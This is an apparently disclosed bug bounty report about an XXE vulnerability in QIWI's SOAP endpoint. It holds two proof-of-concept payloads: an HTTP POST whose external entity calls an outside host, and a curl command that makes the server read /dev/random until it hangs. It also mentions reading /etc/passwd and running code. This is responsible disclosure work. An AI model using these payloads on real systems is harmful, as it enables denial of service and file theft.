9

[send.qiwi.ru] Soap-based XXE vulnerability /soapserver/

Share:

State	Resolved (Closed)
Disclosed	**December 18, 2014 8:35pm +0530**
Reported To	QIWI
Weakness	Denial of Service
Bounty	$1,000
Severity	No Rating (---)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE

bitquark submitted a report to **QIWI**. Nov 18th (4 years ago)

An XML external entities injection vulnerability exists on the soap server hosted on send.qiwi.ru. The attack allows an attacker to open local files (although perhaps not return the data, see below), leading at best to a DoS.

Often this attack can be used to extract files from the server (such as /etc/passwd), or even directly execute code if the PHP expect module is installed, however in this case exploitation isn't as straight forward as the issue occurs in the XML pre-check code and no user input is returned. That's not to say there isn't a away to exfiltrate data, but I haven't had time to fully investigate.

At best, this attack can be used as a denial-of-service, opening up /dev/random thousands of times until the server falls over through memory use and CPU load.

Proof-of-concept (change bitquark.co.uk to a site you control and watch the access logs; or change to file:///dev/urandom and the script will hang):

```
POST /soapserver/ HTTP/1.1
Host: send.qiwi.ru
Content-Type: application/x-www-form-urlencoded
Content-Length: 254

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "https://bitquark.co.uk/?xxe
<SOAP-ENV:Envelope>
  <SOAP-ENV:Body>
    <getStatus>
    <id>&xxe;</id>
    </getStatus>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

You'll get the error "DTD are not supported by SOAP", but the attack will have succeeded.

For more information on XXE vulnerabilities in PHP in particular, see:

http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html#xml-external-entity-injection

bitquark posted a comment. Nov 18th (4 years ago)

Here's a quick cURL proof-of-concept which makes the script open /dev/random and hang:

curl -is --data $'<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM \"file:///dev/random\">]>soap-env:Envelopesoap-env:Body<getStatus><id>&xxe;</id></getStatus>/SOAP-ENV:Body/SOAP-ENV:Envelope' https://send.qiwi.ru/soapserver/

videns changed the report title from **Soap-based XXE vulnerability on send.qiwi.ru** to **[send.qiwi.ru] Soap-based XXE vulnerability /soapserver/** . Nov 18th (4 years ago)

videns changed the status to ○ **Triaged**. Nov 18th (4 years ago)

isox closed the report and changed the status to ○ **Resolved**. Nov 18th (4 years ago)

QIWI rewarded bitquark with a **$1,000** bounty. Nov 18th (4 years ago)
Thank's, that's a good bug :)

bitquark posted a comment. Nov 18th (4 years ago)
Fix confirmed, thanks for the super quick response and reward! :-)

bitquark requested to disclose this report. Nov 18th (4 years ago)

This report has been disclosed. Dec 18th (4 years ago)